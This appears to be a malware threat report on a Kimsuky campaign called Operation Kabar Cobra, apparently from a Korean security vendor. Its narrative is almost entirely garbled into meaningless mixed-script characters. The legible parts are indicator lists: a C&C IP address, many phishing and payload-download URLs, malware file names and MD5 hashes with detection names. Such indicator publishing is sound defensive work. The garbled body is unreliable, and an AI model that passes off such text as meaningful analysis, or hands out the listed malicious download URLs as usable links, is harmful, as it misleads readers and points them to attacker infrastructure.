̓♬╘ ỸרӇ‴╖ᶒ, serverurl╪ה ṉὡ⁄ C&C ἌḲʺ ᶘᾎӇ‡ ▓ѻ.  

 

֞  ˁ₀ PC⁄ ♬    ᴛ͎ע(WinRAR, ALZIP)╪ ἒ Ӈ‡ ▓╙ ˿↕, ẋḌḴ ʺ ♠↔ӈ    

▀(brave.ru)╙, ͎ᴅּת Ώ╙ ˿↕⁄Ѥ BASE64ᴛ   ӈ brave.ct(ṓ ᶔ Freedom.dll▐)╙ ѻ⇔ᴛ

ӥ ͙ ─  Ṫ͙ ̓♬╪ ʺӇ‴ѻ([͎ᵝ 46] ̆). 

 

 

[͎ᵝ 46]    ᴛ͎ע ἒ  ⁴Ṩ ╬  ▀ ѻ⇔ᴛӥ 

 

╥ᵆ ụ‰ Ṫ‒ᵑ Яᵛ ̑˶⁄ἌѤ [͎ᵝ 47]̓ ˉ╘ ˸♠Ἄᴛ ─◑  ⁞ἢ ▀╙ ╪↔ ѻ. ҉ ⁞ἢ 

▀╥ ỮѾ⁄Ѥ Ἕ͙ ֹוᶹ ὡ░ ḓ ὡ ( ʼ ‡̰אַ ╪Ѥ Ⱡᶜג╪( ᴛ ▬ἛӇ‡ ▓

╖ᶒ, ַ̰א ─₰ ᴛ ˸♠╙ ▬Ἓ  ˦ ᴀ ─◑ ̆ ▓ѻ.  
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[͎ᵝ 47] ╥ᵆ ụ‰ Ṫ‒⁄ ┬ ӈ ─◑↔ ⁞ἢ ▀╥ Ͽ↔ 

 

[͎ᵝ 48]╘ ╥ᵆ ụ‰ Ṫ‒ᵑ ҍỮ╖ᴛ ┬ ӈ ӥᴠ ╥ ϿṨ⁄ Ⱶ◓ Ѥ ῸἛ ᾅ ᵞ (thumbs.wsf)ᴛ, 

͙Ⱶ╥ 2.wsfϮ 3.wsf Ṓѻ ʼѾ ˭ Ⱡ▬Ӈ‡ ▓ѻ.  

 

 

[͎ᵝ 48] thumbs.wsf Ͽ↔ 

 

˸Ϯ thumbs.wsfᵑ ḛױ͎ ╙ ҉ᾎ, [͎ᵝ 48]⁄ Ṓ╪Ѥ URL╘ җ ╪Ữ ҿ▬ ♬ ⁄Ώ ͙ ԅᶷ תּ  

↔ҵᵑ Ὸ  ὡ ′‴ѻ. ѻᵣ, ҉ URL⁄Ἄ ѻ╛̓ ˉ╪ ῸἛ ӥʺ ┬ ӈ ╪ᴏ╪ ▓‴ѻ.  

 

 ʹ rnyacount-jpadmin.hol.es╥ ῸἛ ӥ ┬  ╪ᴏ  

h**p://rnyacount -jpadmin.hol.es/est/down/msofficeupdate64  

h**p://rnyacount -jpadmin.hol.es/est/down/fw.a  

 

҉ URL לἵ╥ rnyacountѤ ‬  Ṓᶔ ╥Ḉ ′Ѥ Ѿ‡Ϯ ₡ ▫ ᴀ Ṓ╪ּתᵣ ₅‡ Ѿ‡ my 

account(Ͽ ́♬)₮ ┬Ợ ˭ Ṓ╬ѻ. ᵡ ᵑ ╥Ḉתּ╪ ▫ᴛ jpadmin⁄Ѥ ̕ᵙתּʺ Ѥ admin╪גѤ 

Ѿ‡ᵑ ̆ ▓ѻ. ּס, ♬Ữ♠╬ ̕ᵙ▫ ╪ּתᴛ ─◑ ͙ ─  ˦╖ᴛ ︠▬  ὡ ▓ѻ. ֞  ҉ 

URL╥ png?_= ѻ╛╥ גḈ  ᶷ▫⁸╘ IDᴛ Ӈ‡ ▓Ѥҥ, ҉ IDѤ ̯͒⁄Ἄ ˤự  ὡ ▓Ѥ ♬ 

╥ᵆ ‰ ₮ ̕ᴐӈ Ѿ‡₄ѻ. ╪ױ  ♩╖ᴛ Ḉᴴ‡ AR.xls{̑ ḥ}.exeѤ ╥ᵆ ụ‰ Ṫ‒ᵑ Яᵛ ˦╖ᴛ 

♬ӈѻ.  
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2. ῸἛ ӥ ┬  ḓ C&C ἌḲ תּ

ῸἛ ӥ ṪἍ ̓♬⁄Ἄ  ῸἛ ӥ ┬  ҉ ,C&C ἌḲѤ 185.224.138.29 (NE)₮ ⁷˺ӇѤҥ ,תּ

IP₮ ѻὡ╥ URL╪ ⁷˺Ӈ‡ ▓‴ѻ. ͎ ַא ▀Ṩ URL╙ [  9]₮ ˉ╪ ♬ᵙ ѻ.  

 

[  9]⁄Ἄ Ṗ ὡ ▓Ѥ ˦ ᴀ URL╘ ҍṨṪ ̰Ͽ ┬ᶘ  Ợ╪ ₮ ̯͒, ᵡ╪ ᴛἵ , ͎ᵙ̆ ̰

Ͽ ṒΌ ‰  Ӯ╥ ╪ᵒ╖ᴛ ─◑ ̆ ▓ѻ. ╪ө URL╘ ῸἛ ӥ ┬ Ϯ ᾗ Ợ╪ , C&C ἌḲᴛ Ợ

↔ӆѻ. 

 

IP URL URI 

185.224.138.29  

(NE) 

navem-rnail.hol.es navem-rnail.hol.es/est/down/msofficeupdate64  

myaccounnts-goggle.esy.es  

bmail -or-kr.esy.es  

aiyac-updaite.hol.es 
aiyac-updaite.hol.es/est/down/alyacmonitor64  

aiyac-updaite.hol.es/est/down/msofficeupdate64  

rnyacount -jpadmin.hol.es 
rnyacount -jpadmin.hol.es/est/down/msofficeupdate64  

rnyacount -jpadmin.hol.es/est/down/fw.a  

ms-performance.hol.es 

ms-

performance.hol.es/mysite/down/msperformancecheck.b  

ms-

performance.hol.es/mysite/down/msperformancecheck64  

suppcrt -seourity.esy.es  

ahnniab.esy.es 
ahnniab.esy.es/w/down/alyacmonitor.a  

ahnniab.esy.es/w/down/tvEngine.dll  

daum-safety-team.esy.es  

myacccounts-goggle.esy.es  

myacccount-goggle.esy.es  

nav-mail.hol.es  
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mail-support.esy.es  

my-homework.890m.com  
my-homework.890m.com/gnu/download/tvEngine.dll  

my-homework.890m.com/gnu/download/list.dll  

nid-mail.hol.es  

nid-mail.esy.es 

nid-mail.esy.es/gnu//download/tmp.dll  

nid-mail.esy.es/gnu//download/notepad64.exe  

nid-mail.esy.es/bbs/data/tmp/x64/wall.cab  

nid-mail.esy.es/bbs/data/tmp/logger/private32  

nid-mail.esy.es/bbs/data/tmp/logger/private64  

nid-mail.esy.es/bbs/data/tmp/logger/secu32_init  

nid-mail.esy.es/bbs/data/tmp/logger/secu64_init  

nid-mail.pe.hu  

newsea36-chol.esy.es  

acount-qooqle.pe.hu   

myprofileacc.pe.hu  

customer-center.esy.es  

need-nver.hol.es  

daum-settting.hol.es  

nid-never.pe.hu  

nid-naver.hol.es  

[  9] ♬ IP⁄ ⁷˺ӈ ῸἛ URL ♬Ṓ 

 

 

3. ̑˶ Ḥ  ♬ ͐˞  

1. ῸἛ ͒ ᶷἌ╥ ὲ ӥ ẋ̪ 

Kimsuky ͎ᴹ╪ 2014Ц⁄ Ⱡ▬  ř∂ 1,2 ͙ ἒ́ ṉ˿ Ợ .hwpŚ₮ 2018Ц⁄ Ⱡ▬  core.dll╙ Ỹ

Ἓ Ѥ řꜙ ♣ἐ….hwpŚŋ  ṪἍ  ˺̓, ӎ ῸἛ ͒ ▀╥ ὲ ӥʺ ҿ▀ ╙ ╬  ὡ ▓ѻ. 
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[͎ᵝ 49] 2014Ц ῸἛ ͒ ᶷἌ(─)₮ 2018Ц ῸἛ ͒ ᶷἌ(ῷמ) ὲ ӥ ẋ̪  

 

[͎ᵝ 49]╥ ⅍ ╘ ӎ ῸἛ ͒ ᶷἌ⁄ Ⱶ◓ Ѥ ὲ ӥ╥ ┬Ợҵᵑ ẋ̪  ˦╖ᴛ, ự ṨṪ╘ ҿ▀

 ӥᵑ ╥Ḉ ѻ. ╪ө ӎ ῸἛ ͒ ᶷἌ⁄ Ⱶ◓ Ѥ ὲ ӥʺ ҿ▀ ѻѤ ♩⁄Ἄ ᶛӎ Kimsuky ͎

ᴹ╪ Ⱡ▬  ˦╖ᴛ ︠▬  ὡ ▓ѻ.  

 

, Kimsuky ͎ᴹ╪ ₡מӈ ͒ –♩̓ ὲ ӥᵑ 2018Ц ꜙ♣ἐ….hwp⁄Ἄҵ Ợ↔  ╪┬Ѥ ╪ ͎

ᴹ╪ ЯᵙѤ ̑˶ ҍỮ╪ ⁴♣ ╪ᾐ ṒΌ ‰ҥ ╙עӈ Ḳ♣╥ ͒ ᴛ͎מ₡  ᵑ ♠↔  ╘Ώ תּ

 Ợ↔ ַג╪אѤ ˦╙ ῼ̆ ▓‴ѻѤ ᴝ╪ ʺѫ ѻ.  

 

[͎ᵝ 50] 2018Ц ꜙ♣ἐ….hwp╥ –  ᶷѾ ᾅ (HWPTAG_PARA_TEXT) 
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͒̓ (Hancom, ╪  ) Ợ⁄ἌѤ ͒ ᴛ͎ע╥ ṒΌ ˆ ᵑ ─  ҿ♠ ṒΌ ᶛӢ╙ ◓

 ḕ ▓ѻ. ╪ᴛ ╬  ͒ –♩╙ ╪↔ Ѥ ˦╪ ⸗ җ ‡ᴎ√ּת▫ ̑˶▫ө╘ ╪ᵑ ↕ ͙ ─  

͒ ᴛ͎ע╥ ΩṨ ͙ѫ╬ ̆ᾅ ᾅ ᵞ (GhostScript) –♩╙ Ὸ↔ ̆ ▓ѻ. ╪⁄ ╘ ̆ᾅ

ᾅ ᵞ  ͙ѫ╙ Ⱡ˞ Ѥ ṒΌ ‰ҥ╪ ᵑ Ḥ ѻ. ͎ױϮ ⁴♣  Ữ҉ὡ╥ Ợ↔▫ө╪ ҉ ṒΌ 

‰ҥ╪ ᵑ ♠↔ – Ώ̆ תּ  Ḳ♣╥ ͒ ᴛ͎ע╙ Ợ↔ ̆ ▓ѻ. ̑˶▫ө╪ ⁴♣  ̆ᾅ ᾅ

ᵞ  –♩╙ ╪↔ ̆ ▓Ѥ ╪┬ҵ ╪ ԅᶷ╪ѻ.  

 

2. ῸἛ ӥ ẋ̪ 

2017Ц⁄ Ⱡ▬ӈ, ͎ױϮ ┬  ҍỮ╘ ῼᴎּתּת Ώ╘ ῸἛ ͒ ▀̓ 2018Ц⁄ Ⱡ▬ӈ ꜙ♣ἐ….hwp

Ѥ ᾒ  ᾎ core.dll╪גѤ ῸἛ ▀╙ ỸἛ ѻ. core.dll╙ ẋ̪ ᶔ ▫͙▫ᾐ╙ ᾒ Ѥ ▀╘ 

rundll32.exe₮ regsvr32.exeᴛ ʻʻ ѻᵎּתᵣ, [͎ᵝ 51]̓ [͎ᵝ 52]⁄Ἄ Ṗ ὡ ▓Ѥ ˦ ᴀ ӥѤ ҿ▀

ѻ. ᶹᴝ, ╪ ӥѤ ѻᵐ ῸἛ ӥ⁄Ἄҵ Ṗ ὡ ▓͙ ԅᶷ⁄ ╪˦ᵣ╖ᴛ ӎ ῸἛ ▀╙ Kimsuky ͎

ᴹ╥ ˦╖ᴛ Ѿ  ͐˞ᴛѤ ѻἵ Ṩⱴ ѻ.  

 

 

[͎ᵝ 51] 2017Ц ┬ ӈ ͒ ▀╪ ỸἛ  core.dll╥ ᾒ  ӥ 

 

[͎ᵝ 52] 2018Ц řꜙ ♣ἐ….hwpŚ̋  ỸἛ  core.dll╥ ᾒ  ӥ 
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2017Ц⁄ Ⱡ▬ӈ core.dll╥ ṉꜙҵ ѻὡ Ⱶ◓ Ѥ ˦╖ᴛ ╬ӆѻ. ̕ᴐ ṉꜙө╙ ẋ̪  ˺̓, ̑˶▫

Ѥ core.dll╥ ͙ṕ ╘ ┬ּת Ӈ Ⱡ▬ ḓ ̑˶ ᾎ͙ Ӯ⁄ ӻג ӥᵑ ṉ˿  ˦╖ᴛ Ṓ╬ѻ. 

 

 

[͎ᵝ 53] 2017Ц core.dll╥ Run() ὡ ẋ̪ 

 

[͎ᵝ 53]╘ 2017Ц⁄ ḛ˸ӈ 3ˌ╥ core.dll⁄ ̑ ♠╖ᴛ Ⱶ◓ Ѥ EXPORT ὡ╬ Run ὡ╥ ӥᵑ 

ẋ̪  ˦╪ѻ. ‬  Ṓ͙⁄Ѥ ᶛӎ ѻᵎ˭ Ṓ╪ּתᵣ ἝṨ♠╖ᴛ ╬ Ṓᶔ ҿ▀  ӥʺ Ⱶ◓ ѻ.  

 

, 2017Ц⁄ Ⱡ▬ӈ core.dll╪ ╪Ḵ Ợᴗ₮ ⁷̕Ӈ‡ ▓ѻѤ ˦╘  Ἄ ῸἛ ͒ ᶷἌ╥ ὲ ӥᵑ 

ẋ̪  ˦ ᴀ ῸἛ ӥ╥ ┬Ợҵ ẋ̪ᵑ  ╬  ὡ ▓ѻ.  
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[͎ᵝ 54] 2017Ц core.dll(⅍ )̓ 2019Ц Freedom.dll(₡ᵐ ) 

 

[͎ᵝ 54]Ѥ ӎ ῸἛ ӥʺ ▫͙ ▫ᾐ╙ ᾒ Ѥ Ḣᾏ╖ᴛ, ᴛӹӈ ᴛἝᾅʺ notepad.exe╪ᶔ ꜙᴮ

Ѥ ҿ▀  Ḣᾏ╥ ӥᵑ ╬  ὡ ▓ѻ. 2019Ц⁄ Ⱡ▬ӈ Freedom.dllѤ memset, sprint_s() Ӯ ▀Ṩ C 

ὡʺ Sub Call ᴛ ṉ ר Ӈ‡ ▓̆, ▀Ṩ ᶷ▫⁸╪   Ӈ‡ ▓Ѥ ˦╪ ︣╪ѻ. ṒΌ ‰

╥ ṪἍ╙ Ḣ ͙ ─  ṉ  ˦╖ᴛ Ṓ╬ѻ.  

 

ӎ ῸἛ ӥʺ   ӈ ᶷ▫⁸╙ ṓ  ԅ Ợ↔ Ѥ ṓ   ╘ 4ḕ╪ ῭,  32ḕ╪ ╥ 

╖ᴛ ҿ▀ ѻ. ҉ ṓ  ᵑ Ợ↔ ⁴   ӈ ᶷ▫⁸╙ ṓ Ѥ ӥѤ ҿ▀ תѤ Ώּתּ

ᵣ [͎ᵝ 55]₮ ˉ╪ ᵰ↕ ┬Ợ  ᶛᾋ╙ Ṓ╬ѻ.  

 

 

[͎ᵝ 55] 2017Ц core.dll(⅍ )̓ 2019Ц Freedom.dll(₡ᵐ )╥ ṓ  ӥ 
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2018Ц ♬ṒṒ̆.wsf, 2018Ц ꜙ♣ἐ….hwp, ͎ᵙ̆ core.dll⁄ ╥  ỸἛӈ 2018Ц fontchk.jseѤ ῸἛ 

ᾅ ᵞ ᴛ,  Ἄ ủ ṕ ῸἛ ᾅ ᵞ ө(2.wsf, 3.wsf)̓  ӥ ḓ ҿ▬ Ḣᾏ╪ ҿ▀ ѻ.  

 

[͎ᵝ 56]╘ ╪ө 3ˌ ᾅ ᵞ ╥ ӥ ▀Ṩᵑ ẋ̪  ˦╪ѻ. ╪ ַא ♬ṒṒ̆.wsfѤ ѻ⇔ᴛӥ  ῸἛ

ӥᵑ ᾒ ᵣ Ѥ ḙᶔ, fontchk.jse₮ 2.wsfѤ ѻ⇔ᴛӥ  ῸἛ ӥᵑ ᾒ   ͎ ˺̓ᵑ C&C ἌḲᴛ 

♣Ἶ ѻ.  

 

 

[͎ᵝ 56] ῸἛ ᾅ ᵞ ╥ ӥ ẋ̪ 

 

 

[͎ᵝ 56]⁄ Ṓ╪Ѥ suppcrt -seourity.esy.esѤ  Ἄ [  5]₮ Ζ ủ ṕ C&C ἌḲ₮ ҿ▀  IP⁄ ⁷˺

Ӈ‡▓ѻ. ֞ , [͎ᵝ 57]⁄Ἄ Ṗ ὡ ▓Ѥ ˦ ᴀ 2017Ц core.dll, 2018Ц fontchk.jse ͎ᵙ̆ 2019Ц 

2.wsfѤ ῸἛ ӥᵑ ʺᴛ ѻ⇔ᴛӥ ͙ ─  C&C ἌḲ ֞Ѥ ̑˶▫╥ ̯͒ ӥג╪Ẅ₮ ᾐ ѻ.  
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[͎ᵝ 57] ̑˶▫╥ ̯͒ ӥג╪Ẅ₮ ᾐ ӥ ẋ̪ 

 

[͎ᵝ 58]╘ 2016Ц Ⱡ46  ∟Ͽҍ ╥ ᶛӎḛ….hwp₮ 2018Ц ꜙ♣ἐ….hwp⁄ Ⱶ◓ Ѥ ὲ ӥ╪ѻ. 

҉ ὲ ӥѤ notepad.exe, userinit.exe, explorer.exe Ӯ̓ ˉ╪ ♬Ữ♠╬ ᴛἝᾅ⁄ ╬ⱡἪӇ‡ ᾒ ӈ

ѻ. ֞  ҉ ὲ ӥѤ ᶉᶛᵙ⁄Ἄᵣ Ⱶ◓ ᶒ, ῸἛ ӥᵑ ṓ ⁴ ᾒ Ѥҥ Ợ↔ӈѻ. ẋ̪ᵑ 

 ҿ▀  ̯ⱳ▐╙ ╬  ὡ ▓ѻ.  

 

 

[͎ᵝ 58] ῸἛ ͒ ▀╥ ὲ ӥ ẋ̪ 
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֞  [͎ᵝ 59]₮ ˉ╪ Kimsuky ͎ᴹ╥ ῸἛ ӥ ַא ▀ṨѤ  %APPDATA%\ Microsoft \ HNCגѤ җ⁄ 

ῸἛ ӥᵑ ỸἛ ˞Ϯ ὡ︡  ♬Ṓᵑ ♇◑ ѻ. ╪Ѥ ͒ ᴛ͎ע(HNC)̓  ̕ᴐӈ ▀ᴛ ─◑ ͙ 

─ ╖ᴛ Ṓ╬ѻ. 

 

 

[͎ᵝ 59] 2016Ц ᶉᶛᵙ ᾒ  ῸἛ ӥ(⅍ )₮ 2017Ц hwpkor.dll (₡ᵐ ) 

 

ῸἛ תּ͔ͥתּ ӥ ᴛ ▀ᵠ╙  ╬  ︣╙ ⅝– ᶔ ѻ╛̓ ˉѻ.  

 ʹῸἛ ͒ ᶷἌ⁄ ҿ▀  ὲ ӥ Ⱶ◓ 

 ʹῸἛ ᾅ ᵞ ╥ ӥ ḓ ҿ▬ Ḣᾏ ҿ▀  

 ʹ core.dll̓ ʺᴛ ỸἛӈ ῸἛ ӥ╥ ӥ ḓ ҿ▬ Ḣᾏ ҿ▀ 

 ʹ C&C ἌḲ₮ ⁷˺ӈ IP ҿ▀ 

 

ױ╪  ︣╙ ͐˞ᴛ ₡ ᴆ╪Ἢ ḕ Ẅגᴛ ᶘᶘӈ ̑˶╙ לҵ  ˦╘ Kimsuky ͎ᴹ╖ᴛ ♬ӈ

ѻ. 
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˺ᴝ  

Kimsuky ͎ᴹ╘ 2016Ц ḙּͥתѤ ♬Ṓ ὡ︡╙ ─ ᴏל ⁄˶̑ ♠  ѻ. ͎ױϮ ╪Ḵ ₡ ᴆ╪Ἢ 

ḕ Ẅגᵑ Ἄ ╬  ˦ ᴀ, ◓ ͎ө╘ ἵἶ ̰ʺ╥ ♬ ♠, ˿Ⱡ♠ Ữ ╙ ́ ͙ ─  

(two track)ן   Ḣᾏ╥ ♠ ̑˶╙ ♣ˌ ̆ ▓ѻ.  

 

ҵ Kimsuky ͎ᴹ╖ᴛ ╥ᾔӇѤ ̑˶ Ợᴗᵑ ẋᴡתּ͔ͥתּ  ̰ ͙̕ ḓ ͙‰╙ Яᵛ ѻὡ╥ ♠ ̑

˶╪ ḛỸ ̆ ▓ѻ. ♬ ♠ ᴏ ́̕₮Ѥ Ṋˌᴛ, Kimsuky ͎ᴹ╙  ↕ᵙϮג⁄Ἄ ҿ ̆ ▓Ѥ 

̕ ἶ♠╖ᴛתּ ╙▐וֹ∑ ╥ᴹ͎ ˶̑ ױ⁴ ̆ ҍ╞ ͙ ─  ̰ʺ ͙̓̕ ṒΌ ‰ ө╥ ͛Ḍ  ̑

ⱳʺ ⅝̯ӇѤ ᾎ♩╪ѻ.  

 

֞  ╪Ḵ Ợᴗ⁄Ἄ ╬  ˦ ᴀ ⁴♣  ῼᴎֿב –♩╙ ╪↔  ♠ ̑˶╪ ́ἶӇ̆ ▓ѻ. ӻגἌ 

͙‰ ḓ ͙̕⁄ἌѤ ּתἶ♠╪ᶒ ̓♠╬  ̕ᵙᵑ  ⇔₅ Ⱡ ḓ ἵ ≢‡ –♩╙ ╪↔  

̑˶⁄ ҍẋ ‒ ѻ.  

 

 

 

 

 

Όף Ⱡ  ҍ╞   

Όף V3 Ⱡ ̱⁄ἌѤ ₡ ᴆ╪Ἢ ḕ Ẅג₮ ̕ᴐӈ ῸἛ ӥᵑ ѻ╛̓ ˉ╘ ֿבѾᶘ╖ᴛ ּת ̆ 

▓ѻ. 

MD5  V3 ּשѻᶕ V3 ‾ּש ḯ♆ 

20301fdd013c836039b8cfe0d100a1d7 Trojan/Win32.Agent  2019.01.21.02 

b02f3881321f0912b2ae3f27498c448f Trojan/Win32.XwDoor  2014.01.28.03 

cd705902ea42d0de2a8456b055c3bb87 Malware/Win32.Possible_scrdl 2019.02.02.01 
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54783422cfd7029a26a3f3f5e9087d8a HWP/Exploit 2014.12.10.06 

b7359ae1a83323d3671e7c3a63ce7bf1 OLE/Cve-2017-11882.Gen 2018.04.05.03 

b994bd755e034d2218f8a3f70e91a165 Backdoor/Win32.Agent  2019.01.07.09 

ba89337af43f0b07a35cc892ac95112a Backdoor/Win32.Akdoor  2017.07.13.00 

874c0ec36be15fe3403f3abad6ecea75 Downloader/Win32.Agent  2017.06.20.00 

ab73b1395938c48d62b7eeb5c9f3409d Win-Trojan/Agent.5248512  2013.09.12.00 

f22db1e3ea74af791e34ad5aa0297664 JS/Agent 2018.05.31.03 

11fc4829c2fff9fb240acbd71c60fc67  Dropper/Win32.TeamRat  2014.04.10.01 

6106449779d453be4ae28d89f207e921 Trojan/Win32.Agent  2019.01.07.07 

95410a32a76aecb099af53255bb90737 Backdoor/Win32.Akdoor  2017.05.26.03 

dc1196876d9a59ab477ebc62d07a255e Malware/Win32.Possible_scrdl 2019.02.02.01 

0eb739c8faf77dae0546ff447ad06038 Dropper/Win32.Agent  2019.01.07.07 

242c31d0ce2109fdface788663e90f49 Trojan/Win32.Agent  2019.01.07.07 

66b73fba4e47b3184edd75b0ce9cf928  Trojan/Win32.Agent  2019.01.21.02 

71ec829db01818d305552ec4ebb1c258 Backdoor/Win32.Agent  2019.01.08.00 

9c3396aa94083916227201bf1396a2ca Dropper/Win32.Agent  2019.01.07.07 

1dfe826f71c20ff04987a9160c177e46 Backdoor/Win32.Agent  2019.01.07.09 

48d9e625ea3efbcbef3963c8714544a7 HWP/Exploit 2019.02.07.09 

4de21c3af64b3b605446278de92dfff4  Trojan/Win32.Akdoor  2018.05.30.00 

b49bbc11ed000211a5af7eb35f596886 VBS/Exploit 2019.02.12.00 

8332be776617364c16868c1ad6b4efe7 HWP/Exploit 2018.05.23.04 

9d685308d3125e14287ecb7fbe5fcd37  Backdoor/Win32.Agent  2019.01.07.09 

bb42e6649d927899c816cc04c2bffc06 Trojan/Win32.Agent  2017.06.12.00 

2fdf23367c604511d019a6914c50bc0b Trojan/Win32.Agent  2017.06.12.00 
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AEA8D3002132094A58D5189A8E886CF8 HWP/Exploit 2017.05.31.03 

08523230E221246BB59CDE7C3E8363C7 Trojan/Win32.Akdoor  2016.09.28.01 

2f26f3a883aeca9a11769664fc7d4750 Backdoor/Win32.Akdoor  2017.05.26.03 

566cc6129dc887629a7131821c7547e5 Trojan/Win32.Agent  2017.06.12.00 

a45ba001c3abee03bda49c6816d9a17c Backdoor/Win32.Agent  2019.01.08.00 

 

 

 

 

 

IoC (Indicator s of Compromise) ♬Ṓ  

1. MD5 

2019 Ợ‰́ Ἄ.hwp{̑ḥ}.exe 0eb739c8faf77dae0546ff447ad06038 

ḈӰ‡ ̾ᴏ╪ҿæ-С ᴇᾅ, ┬ Ẅ.hwp{̑ḥ}.exe 9c3396aa94083916227201bf1396a2ca 

 ᴮ.hwp{̑ḥ}.scr 20301fdd013c836039b8cfe0d100a1d7▫⁷̯-̰אַ

AR.xls{̑ ḥ}.exe dc1196876d9a59ab477ebc62d07a255e 

{ḈỮ}.exe cd705902ea42d0de2a8456b055c3bb87 

Freedom.dll & AhnLabMon.dll & AlyacMonitor.d b 

242c31d0ce2109fdface788663e90f49 

6106449779d453be4ae28d89f207e921 

66b73fba4e47b3184edd75b0ce9cf928  

Cobra.dll  

b994bd755e034d2218f8a3f70e91a165 

1DFE826F71C20FF04987A9160C177E46 

1A082A388A285E7FC4541124794F3910 

secu32_init.inf  

71EC829DB01818D305552EC4EBB1C258 

2fdf23367c604511d019a6914c50bc0b 

private32.db   

566cc6129dc887629a7131821c7547e5 
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9D685308D3125E14287ECB7FBE5FCD37 

core.dll  

bb42e6649d927899c816cc04c2bffc06 

874C0EC36BE15FE3403F3ABAD6ECEA75 

4DE21C3AF64B3B605446278DE92DFFF4 

95410A32A76AECB099AF53255BB90737 

tvengine.dll a45ba001c3abee03bda49c6816d9a17c 

ariaK.dll 0a50827a4897a43a882c8d3c691d943d 

IECheck.dll 02dae3046d1669a55785ba935b0e3f0b 

45D3.tmp ba89337af43f0b07a35cc892ac95112a 

MsMpQhp.exe 74 c3011b6980bea23d119822d979a364 

TeamViewer  

ab73b1395938c48d62b7eeb5c9f3409d 

b02f3881321f0912b2ae3f27498c448f 

11fc4829c2fff9fb240acbd71c60fc67  

2014 ∂ 1,2 ͙ ἒ́ ṉ˿ Ợ .hwp 54783422CFD7029A26A3F3F5E9087D8A 

2018 ꜙ♣ἐ….hwp 8332be776617364c16868c1ad6b4efe7 

font chk.jse f22db1e3ea74af791e34ad5aa0297664 

ל1 ∩2  ̰ⱠΌṒ̱Ợ♬Ἕ.hwp 48d9e625ea3efbcbef3963c8714544a7 

IE –♩(CVE-2018-8174) B49BBC11ED000211A5AF7EB35F596886 

2016Ц Ⱡ46  ∟Ͽҍ ╥ ᶛӎḛ….hwp AEA8D3002132094A58D5189A8E886CF8 

0x0ED6D109-0xED81000.mem.pe.exe 08523230E221246BB59CDE7C3E8363C7 

hwpkor.dll 2f26f3a883aeca9a11769664fc7d4750 

 

 

2. C&C ḓ URL 

IP URL FULL URL 

185.224.138.29 

(NE) 

navem-rnail.hol.es navem-rnail.hol.es/est/down/msofficeupdate64  

myaccounnts-goggle.esy.es  

bmail -or-kr.esy.es  

aiyac-updaite.hol.es 
aiyac-updaite.hol.es/est/down/alyacmonitor64  

aiyac-updaite.hol.es/est/down/msofficeupdate64  

rnyacount -jpadmin.hol.es rnyacount -jpadmin.hol.es/est/down/msofficeupdate64  
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rnyacount -jpadmin.hol.es/est/down/fw.a  

ms-performance.hol.es 

ms-

performance.hol.es/mysite/down/msperformancecheck.b  

ms-

performance.hol.es/mysite/down/msperformancecheck64  

suppcrt -seourity.esy.es  

ahnniab.esy.es 
ahnniab.esy.es/w/down/alyacmonitor.a  

ahnniab.esy.es/w/down/tvEngine.dll  

daum-safety-team.esy.es  

myacccounts-goggle.esy.es  

myacccount-goggle.esy.es  

nav-mail.hol.es  

mail-support.esy.es  

my-homework.890m.com  
my-homework.890m.com/gnu/download/tvEngine.dll  

my-homework.890m.com/gnu/download/list.dll  

nid-mail.hol.es  

nid-mail.esy.es 

nid-mail.esy.es/gnu//download/tmp.dll  

nid-mail.esy.es/gnu//download/notepad64.exe  

nid-mail.esy.es/bbs/data/tmp/x64/wall.cab  

nid-mail.esy.es/bbs/data/tmp/logger/private32  

nid-mail.esy.es/bbs/data/tmp/logger/private64  

nid-mail.esy.es/bbs/data/tmp/logger/se cu32_init 

nid-mail.esy.es/bbs/data/tmp/logger/secu64_init  

nid-mail.pe.hu  

newsea36-chol.esy.es  

acount-qooqle.pe.hu   

myprofileacc.pe.hu  

customer-center.esy.es  
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need-nver.hol.es  

daum-settting.hol.es  

nid-never.pe.hu  

nid-naver.hol.es  

 

 

 

 

 

ɂṊ  

Ҳ∂דᾍ ṧӦ 

╪Ḵ OPERATION: KABAR COBRA ṪἍ ᵙ ʺ Ϯ₡ּ͙ͥת ᵤ╘ Ṫө╥ ҵ∑̓ ӥḥ╪ ▓‴ᾋѱѻ.  

͎ ṪөΖ ˁỢ╥ ᵡ╛╙ ♣ ѱѻ. 

 

 ʹΌף ASECҍ╞  Ḗ , ‚ ⁷, ╪ἐ  

 ʹΌף ṪἍ⁷̯  ḊἍ 

 ʹ╪ᾅ ᾎ ᵙ  ᶷꜙ  

 ʹ͔╔ṒΌ∟ ◑Ḋ  

 ʹ ̰╬ Сֿב ∟(KISA) ͟Ṏ◓ 

 ʹ͎ Ω ᾐ( ) Ѥ ᶴᶘ( )╥ ṒΌ ♣ᶷʺө 


